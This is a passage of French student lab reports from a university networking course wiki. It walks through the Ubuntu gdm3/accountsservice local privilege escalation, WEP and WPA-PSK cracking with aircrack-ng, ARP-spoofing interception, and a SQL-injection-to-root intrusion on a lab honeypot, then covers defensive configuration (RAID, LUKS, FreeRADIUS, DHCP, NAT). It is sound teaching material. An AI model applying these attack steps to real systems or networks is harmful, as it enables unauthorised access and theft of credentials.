&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Hosts.png&amp;diff=54891</id>
		<title>Fichier:Hosts.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Hosts.png&amp;diff=54891"/>
				<updated>2020-12-17T16:12:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Play_docker.png&amp;diff=54890</id>
		<title>Fichier:Play docker.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Play_docker.png&amp;diff=54890"/>
				<updated>2020-12-17T16:12:29Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54671</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54671"/>
				<updated>2020-12-14T21:18:50Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Configuration IPv4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
